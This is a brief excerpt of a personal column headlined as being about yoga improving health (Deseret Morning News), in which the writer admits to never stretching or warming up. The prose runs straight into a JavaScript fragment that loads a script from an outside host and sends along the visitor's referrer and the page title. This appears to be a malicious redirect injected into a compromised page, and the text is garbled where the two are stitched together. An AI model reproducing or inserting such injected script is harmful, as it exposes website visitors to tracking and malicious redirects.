It’s a bit of a stretch, but yoga enhances health (Deseret Morning News)

I have never been one to stretch before exercise. In fact, I’m loath to even warm up because I’m afraid I won’t have enough energy to finish my workout if I waste energy on something that, in my mind, doesn’t count.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;